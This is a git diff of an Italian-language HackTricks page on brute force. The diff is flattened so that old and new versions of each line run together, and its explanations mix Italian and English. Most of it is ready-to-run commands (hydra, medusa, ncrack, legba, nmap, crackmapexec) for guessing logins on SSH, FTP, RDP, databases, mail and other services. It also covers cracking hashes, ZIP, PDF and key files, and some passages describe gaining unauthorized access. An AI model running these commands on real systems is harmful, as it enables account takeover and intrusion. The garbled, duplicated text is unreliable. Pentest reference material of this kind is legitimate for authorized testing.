CouchDB è un database NoSQL che può essere soggetto a attacchi di forza bruta per compromettere le credenziali di accesso. È possibile utilizzare strumenti come Hydra o Medusa per condurre attacchi di forza bruta contro CouchDB.
```bash ```bash
msf> use auxiliary/scanner/couchdb/couchdb_login msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
@ -157,7 +153,7 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordl
``` ```
### FTP ### FTP
Il metodo di attacco brute-force può essere utilizzato per indovinare le credenziali di accesso a un server FTP. Un attaccante può utilizzare uno script o uno strumento automatizzato per provare una serie di nomi utente e password comuni o generate casualmente fino a quando non trova le credenziali corrette per accedere al server FTP. Il protocollo FTP (File Transfer Protocol) è un protocollo standard di rete utilizzato per il trasferimento di file da un host a un altro tramite una rete TCP-based come Internet.
```bash ```bash
hydra -l root -P passwords.txt [-t 32] <IP> ftp hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5] ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
@ -193,8 +189,6 @@ cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP # Check also https://github.com/evilsocket/legba/wiki/HTTP
``` ```
### IMAP ### IMAP
IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. IMAP permits the user to view and manipulate the messages as though they were stored locally on the user's device.
```bash ```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
@ -203,9 +197,7 @@ legba imap --username user --password data/passwords.txt --target localhost:993
``` ```
### IRC ### IRC
#### Brute Force Il Brute Force è una tecnica comunemente utilizzata per indovinare le password degli account IRC. Questo metodo coinvolge la generazione di molteplici password e il loro continuo tentativo di accesso fino a quando non viene trovata quella corretta.
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method is often used when other techniques, such as social engineering or password guessing, have failed. Brute force attacks can be time-consuming but are effective against weak passwords.
```bash ```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP> nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
``` ```
@ -237,13 +229,17 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
``` ```
### LDAP ### LDAP
LDAP (Lightweight Directory Access Protocol) è un protocollo standard aperto utilizzato per accedere e mantenere servizi di directory su una rete IP. LDAP è comunemente utilizzato per l'autenticazione e l'autorizzazione degli utenti.
```bash ```bash
nmap --script ldap-brute -p 389 <IP> nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
``` ```
### MQTT ### MQTT
Il protocollo MQTT (Message Queuing Telemetry Transport) è un protocollo leggero di messaggistica utilizzato per la comunicazione tra dispositivi IoT. #### Brute Force
Brute force attacks involve trying all possible combinations of usernames and passwords until the correct one is found. This method can be used to gain unauthorized access to MQTT brokers. It is important to use strong and unique passwords to prevent brute force attacks.
``` ```
ncrack mqtt://127.0.0.1 --user test P /root/Desktop/pass.txt -v ncrack mqtt://127.0.0.1 --user test P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
@ -255,25 +251,10 @@ use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt legba mongodb --target localhost:27017 --username root --password data/passwords.txt
``` ```
### MSSQL ### MSSQL
#### Brute Force
Brute force attacks are commonly used to crack passwords. They consist of systematically checking all possible passwords until the correct one is found. This method can be effective but also time-consuming, especially for complex passwords. It is important to use strong and unique passwords to protect against brute force attacks.
```bash ```bash
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
``` ```
### MySQL ### MySQL
#### Brute Force
Brute force attacks are a common method used to gain unauthorized access to a MySQL database. Attackers use automated tools to try all possible combinations of usernames and passwords until the correct one is found. To prevent brute force attacks, it is recommended to:
- Use strong and complex passwords
- Limit the number of login attempts
- Implement account lockout mechanisms
- Monitor and log login attempts for suspicious activities
By following these best practices, you can enhance the security of your MySQL database and protect it from brute force attacks.
```bash ```bash
# hydra # hydra
hydra -L usernames.txt -P pass.txt <IP> mysql hydra -L usernames.txt -P pass.txt <IP> mysql
@ -289,17 +270,7 @@ legba mysql --username root --password wordlists/passwords.txt --target localhos
``` ```
### OracleSQL ### OracleSQL
#### Brute Force ### OracleSQL
Brute force attacks are commonly used to crack passwords by trying all possible combinations until the correct one is found. In OracleSQL, tools like Hydra and Metasploit can be used to perform brute force attacks against Oracle databases.
#### Dictionary Attacks
Dictionary attacks are similar to brute force attacks but instead of trying all possible combinations, they use a predefined list of words or phrases. Tools like John the Ripper and Hashcat can be used to perform dictionary attacks in OracleSQL.
#### Rainbow Tables
Rainbow tables are precomputed tables used to crack password hashes. Tools like RainbowCrack can be used to generate and use rainbow tables in OracleSQL to crack password hashes efficiently.
```bash ```bash
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
@ -332,8 +303,6 @@ pip3 install cx_Oracle --upgrade
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
``` ```
### POP ### POP
Il protocollo Post Office Protocol (POP) è uno dei protocolli standard utilizzati per recuperare le email da un server remoto.
```bash ```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
@ -345,8 +314,6 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
``` ```
### PostgreSQL ### PostgreSQL
PostgreSQL è un sistema di gestione di database relazionali (RDBMS) open source ampiamente utilizzato.
```bash ```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt <IP> postgres hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M postgres medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M postgres
@ -370,6 +337,8 @@ hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon] legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
``` ```
### Redis ### Redis
Redis è un popolare sistema di memorizzazione di chiavi-valori open source che può essere soggetto a attacchi di forza bruta.
```bash ```bash
msf> use auxiliary/scanner/redis/redis_login msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP> nmap --script redis-brute -p 6379 <IP>
@ -377,16 +346,20 @@ hydra P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl] legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
``` ```
### Rexec ### Rexec
Rexec è un protocollo di rete che consente a un utente di eseguire comandi su un computer remoto. Un attaccante potrebbe utilizzare un attacco di forza bruta per indovinare le credenziali di accesso e ottenere l'accesso non autorizzato al sistema remoto.
```bash ```bash
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
``` ```
### Rlogin ### Rlogin
Rlogin è un protocollo di rete che consente a un utente di effettuare il login su un host remoto su una rete.
```bash ```bash
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
``` ```
### Rsh ### Rsh
Il metodo di attacco a forza bruta Rsh è un attacco in cui il cracker tenta di indovinare le credenziali di accesso di un sistema utilizzando un approccio di tentativi ripetuti. Rsh (Remote Shell) è un protocollo che consente a un utente di eseguire comandi su un computer remoto. Un attaccante potrebbe utilizzare un attacco di forza bruta per indovinare la password e ottenere l'accesso al sistema remoto.
```bash ```bash
hydra -L <Username_list> rsh://<Victim_IP> -v -V hydra -L <Username_list> rsh://<Victim_IP> -v -V
``` ```
@ -397,8 +370,6 @@ hydra -L <Username_list> rsh://<Victim_IP> -v -V
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP> nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
``` ```
### RTSP ### RTSP
Il Real Time Streaming Protocol (RTSP) è un protocollo di rete utilizzato per il controllo di flussi multimediali continui come l'audio o il video su Internet.
```bash ```bash
hydra -l root -P passwords.txt <IP> rtsp hydra -l root -P passwords.txt <IP> rtsp
``` ```
@ -431,7 +402,7 @@ legba smtp --username admin@example.com --password wordlists/passwords.txt --tar
``` ```
### SOCKS ### SOCKS
### SOCKS SOCKS (Socket Secure) è un protocollo di rete che permette il routing dei pacchetti tra un client e un server tramite un server proxy. SOCKS può essere utilizzato per nascondere l'indirizzo IP del client e bypassare le restrizioni di rete.
```bash ```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP> nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
@ -442,7 +413,7 @@ legba socks5 --target localhost:1080 --username admin --password data/passwords.
#### Brute Force #### Brute Force
Brute force attacks against SQL Server typically involve trying to guess usernames and passwords to gain unauthorized access. This can be done using automated tools that systematically try all possible combinations of usernames and passwords until the correct one is found. It is important to use strong and unique passwords to protect against brute force attacks. Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. In the context of SQL Server, this means trying all possible combinations of characters to guess the login credentials of a user. These attacks can be automated using tools like Hydra or Medusa. It is important to note that brute force attacks can be time-consuming and resource-intensive, but they can be effective if the password is weak. Implementing measures such as account lockout policies and strong password requirements can help mitigate the risk of a successful brute force attack.
```bash ```bash
#Use the NetBIOS name of the machine as domain #Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
@ -453,7 +424,7 @@ msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts
``` ```
### SSH ### SSH
Il metodo di forza bruta per attaccare un server SSH coinvolge la generazione di password casuali e il loro tentativo di accesso al server tramite SSH. Questo processo può essere automatizzato utilizzando script o strumenti appositi come Hydra o Medusa. È importante notare che l'utilizzo di attacchi di forza bruta per violare la sicurezza di un server è illegale e può comportare conseguenze legali. Il metodo di forza bruta per attaccare un server SSH coinvolge la generazione di password casuali e il loro tentativo di accesso al server tramite SSH. Questo processo può essere automatizzato utilizzando script o strumenti appositi come Hydra o Medusa. È importante notare che l'utilizzo di questo metodo è illegale a meno che non venga eseguito su un sistema di cui si è il legittimo proprietario o si abbia il permesso esplicito di farlo.
```bash ```bash
hydra -l root -P passwords.txt [-t 32] <IP> ssh hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5] ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
@ -465,7 +436,7 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
``` ```
#### Chiavi SSH deboli / PRNG prevedibile di Debian #### Chiavi SSH deboli / PRNG prevedibile di Debian
Alcuni sistemi presentano difetti noti nel seme casuale utilizzato per generare materiale crittografico. Ciò può risultare in uno spazio delle chiavi notevolmente ridotto che può essere forzato con strumenti come [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Set pre-generati di chiavi deboli sono anche disponibili come [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). Alcuni sistemi presentano difetti noti nel seme casuale utilizzato per generare materiale crittografico. Ciò può risultare in uno spazio delle chiavi notevolmente ridotto che può essere forzato con strumenti come [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Set pre-generati di chiavi deboli sono disponibili anche come [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
### STOMP (ActiveMQ, RabbitMQ, HornetQ e OpenMQ) ### STOMP (ActiveMQ, RabbitMQ, HornetQ e OpenMQ)
@ -475,7 +446,7 @@ legba stomp --target localhost:61613 --username admin --password data/passwords.
``` ```
### Telnet ### Telnet
Telnet è un protocollo di rete che consente di stabilire una connessione remota tramite la rete. Viene comunemente utilizzato per l'accesso a server e dispositivi di rete per l'esecuzione di comandi a distanza. Telnet è un protocollo di rete che consente di stabilire una connessione remota tramite la rete Internet o una rete locale. Viene comunemente utilizzato per l'accesso a server remoti per scopi di amministrazione o diagnostica.
```bash ```bash
hydra -l root -P passwords.txt [-t 32] <IP> telnet hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5] ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
@ -492,7 +463,7 @@ legba telnet \
``` ```
### VNC ### VNC
VNC (Virtual Network Computing) è un sistema che consente di controllare un computer remoto tramite un'applicazione client-server. VNC (Virtual Network Computing) è un sistema che consente di controllare un computer remoto. Un attaccante potrebbe utilizzare attacchi di forza bruta per indovinare la password di accesso al server VNC remoto.
```bash ```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt -s <PORT> <IP> vnc hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> u root -P /root/Desktop/pass.txt M vnc medusa -h <IP> u root -P /root/Desktop/pass.txt M vnc
@ -514,16 +485,16 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
## Locale ## Locale
### Database di cracking online ### Database di cracking online
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) * [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 e SHA1)
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 con/senza ESS/SSP e con qualsiasi valore di challenge) * [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 con/senza ESS/SSP e con qualsiasi valore di challenge)
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hash, catture WPA2 e archivi MSOffice, ZIP, PDF...) * [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hash, catture WPA2 e archivi MSOffice, ZIP, PDF...)
* [https://crackstation.net/](https://crackstation.net) (Hash) * [https://crackstation.net/](https://crackstation.net) (Hash)
@ -535,7 +506,7 @@ Ottieni l'accesso oggi:
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
Controlla questo prima di provare a forzare un Hash. Controlla questo prima di provare a eseguire un attacco di forza bruta su un hash.
### ZIP ### ZIP
```bash ```bash
@ -553,7 +524,7 @@ john zip.john
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
``` ```
#### Attacco zip con testo in chiaro conosciuto #### Attacco zip con testo in chiaro noto
È necessario conoscere il **testo in chiaro** (o parte del testo in chiaro) **di un file contenuto all'interno** dello zip crittografato. È possibile verificare **i nomi dei file e le dimensioni dei file contenuti all'interno** di uno zip crittografato eseguendo: **`7z l encrypted.zip`**\ È necessario conoscere il **testo in chiaro** (o parte del testo in chiaro) **di un file contenuto all'interno** dello zip crittografato. È possibile verificare **i nomi dei file e le dimensioni dei file contenuti all'interno** di uno zip crittografato eseguendo: **`7z l encrypted.zip`**\
Scarica [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) dalla pagina dei rilasci. Scarica [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) dalla pagina dei rilasci.
@ -580,6 +551,8 @@ apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john ./7z2john.pl file.7z > 7zhash.john
``` ```
### PDF ### PDF
Il metodo di attacco brute-force è comunemente utilizzato per violare le password dei file PDF protetti da password. Questo metodo coinvolge la generazione di tutte le possibili combinazioni di password e la loro verifica fino a quando non viene trovata quella corretta. Questo processo può richiedere molto tempo a seconda della complessità della password.
```bash ```bash
apt-get install pdfcrack apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
@ -663,7 +636,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
### Chiave Master DPAPI ### Chiave Master DPAPI
Utilizza [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) e poi john Usa [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) e poi john
### Colonna Protetta da Password di Open Office ### Colonna Protetta da Password di Open Office
@ -689,10 +662,10 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati** al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
## Strumenti ## Strumenti
@ -736,7 +709,7 @@ hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
* **Attacco di combinazione di elenchi di parole** * **Attacco di combinazione di elenchi di parole**
È possibile **combinare 2 elenchi di parole in 1** con hashcat.\ È possibile **combinare 2 elenchi di parole in 1** con hashcat.\
Se l'elenco 1 contenesse la parola **"ciao"** e il secondo contenesse 2 righe con le parole **"mondo"** e **"terra"**. Le parole `ciaomondo` e `ciaoearth` verranno generate. Se l'elenco 1 contenesse la parola **"ciao"** e il secondo contenesse 2 righe con le parole **"mondo"** e **"terra"**. Le parole `ciaomondo` e `ciaoterra` verranno generate.
```bash ```bash
# This will combine 2 wordlists # This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
@ -791,82 +764,76 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```bash ```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM" hashcat --example-hashes | grep -B1 -A2 "NTLM"
``` ```
## Brute Forcing ## Brute Force
### Introduction ### Introduction
Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. In the context of cracking Linux hashes from the `/etc/shadow` file, brute forcing involves generating potential passwords and hashing them using the same algorithm as the one used in Linux to create the password hashes. These generated hashes are then compared with the target hash from the `/etc/shadow` file to find a match. Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is commonly used to crack password hashes stored in the `/etc/shadow` file on Linux systems.
### Tools ### Tools
There are various tools available for performing brute force attacks on password hashes. Some popular tools include John the Ripper, Hashcat, and Hydra. These tools support different algorithms and techniques for cracking hashes, making them versatile options for password cracking. There are various tools available for performing brute force attacks, such as John the Ripper, Hashcat, and Hydra. These tools can be used to automate the process of generating and testing a large number of keys or passwords.
### Methodology ### Methodology
The general methodology for brute forcing Linux hashes from the `/etc/shadow` file involves the following steps: 1. Obtain the password hash from the `/etc/shadow` file.
2. Use a brute force tool to generate and test possible keys or passwords.
3. Compare the generated hash with the target hash.
4. If a match is found, the correct key or password has been identified.
1. **Obtain the Hash**: Extract the target hash from the `/etc/shadow` file. ### Considerations
2. **Choose a Tool**: Select a suitable password cracking tool based on the hash algorithm and complexity.
3. **Generate Password List**: Create a list of potential passwords to be used in the brute force attack.
4. **Start Brute Forcing**: Use the selected tool to systematically hash the passwords from the list and compare them with the target hash.
5. **Crack the Password**: Once a match is found, the corresponding password is cracked and revealed.
### Conclusion Brute force attacks can be time-consuming and resource-intensive, especially for complex passwords. It is important to use a good wordlist and optimize the attack parameters to increase the chances of success.
Brute forcing is a powerful technique for cracking Linux hashes from the `/etc/shadow` file, especially when other methods like dictionary attacks fail. By using the right tools and following a systematic approach, hackers can successfully crack passwords and gain unauthorized access to systems.
``` ```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems 500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
``` ```
# Brute Force ## Brute Force
## Introduction ### Introduction
Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is often used to crack password hashes. Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is commonly used to crack password hashes.
## Windows Hashes ### Tools
Windows stores user passwords in the form of hashes. These hashes can be cracked using brute force techniques by generating potential passwords and comparing their hashes to the target hash. There are several tools available for performing brute force attacks, such as **John the Ripper** and **Hashcat**. These tools can be used to crack Windows password hashes efficiently.
## Tools ### Methodology
There are various tools available for performing brute force attacks on Windows hashes, such as **John the Ripper** and **Hashcat**. These tools can be used to automate the process of generating and testing passwords against the target hash.
## Methodology
1. Obtain the password hash from the target Windows system. 1. Obtain the password hash from the target Windows system.
2. Use a brute force tool to generate potential passwords. 2. Use a brute force tool like John the Ripper or Hashcat to crack the password hash.
3. Compare the hash of each generated password to the target hash. 3. Configure the tool with the appropriate settings, such as character set, password length, and any other relevant parameters.
4. Once a match is found, the correct password has been cracked. 4. Start the brute force attack and wait for the tool to find the correct password.
5. Once the password is cracked, it can be used to gain unauthorized access to the target system.
## Conclusion
Brute force attacks can be an effective method for cracking Windows hashes, especially if the passwords are weak. It is important to use strong, complex passwords to prevent successful brute force attacks.
``` ```
3000 | LM | Operating-Systems 3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems 1000 | NTLM | Operating-Systems
``` ```
## Brute Forcing ## Brute-Force
### Introduction ### Introduction
Brute forcing is a common technique used to crack hashes. It involves trying all possible combinations of characters until the correct one is found. This method is often used when other techniques, such as dictionary attacks, fail to crack the hash. Brute-force attacks are a common technique used to crack hashes. This method involves trying all possible combinations of characters until the correct one is found. Brute-force attacks can be time-consuming but are often successful in cracking common application hashes.
### Tools ### Steps to Perform a Brute-Force Attack
There are several tools available for brute forcing hashes, including John the Ripper, Hashcat, and Hydra. These tools allow you to automate the process of trying different combinations of characters to crack the hash. 1. **Gather Information**: Collect as much information as possible about the hash you are trying to crack, such as the hash type and any known details about the password.
### Methodology 2. **Select a Tool**: Choose a reliable tool for performing the brute-force attack. There are many tools available, such as John the Ripper, Hashcat, and Hydra.
To brute force a hash, you first need to determine the hashing algorithm used to create the hash. Once you know the algorithm, you can use a brute force tool to try different combinations of characters until you find the one that matches the hash. 3. **Set Up the Tool**: Configure the tool with the necessary parameters, such as the hash type, character set to use, and any additional options.
### Resources 4. **Start the Attack**: Initiate the brute-force attack and let the tool run through all possible combinations until it finds the correct password.
- [John the Ripper](https://www.openwall.com/john/) 5. **Optimize**: Adjust the attack parameters as needed to optimize the process and increase the chances of success.
- [Hashcat](https://hashcat.net/)
- [Hydra](https://github.com/vanhauser-thc/thc-hydra) 6. **Monitor Progress**: Keep an eye on the progress of the attack to see how close you are to cracking the hash.
7. **Crack the Hash**: Once the correct password is found, use it to crack the hash and gain access to the target system or application.
By following these steps, you can effectively perform a brute-force attack to crack common application hashes.
``` ```
900 | MD4 | Raw Hash 900 | MD4 | Raw Hash
0 | MD5 | Raw Hash 0 | MD5 | Raw Hash
@ -893,7 +860,7 @@ Altri modi per supportare HackTricks:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\
Ottieni l'Accesso Oggi: Ottieni l'Accesso Oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}

View file

@ -6,26 +6,26 @@
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
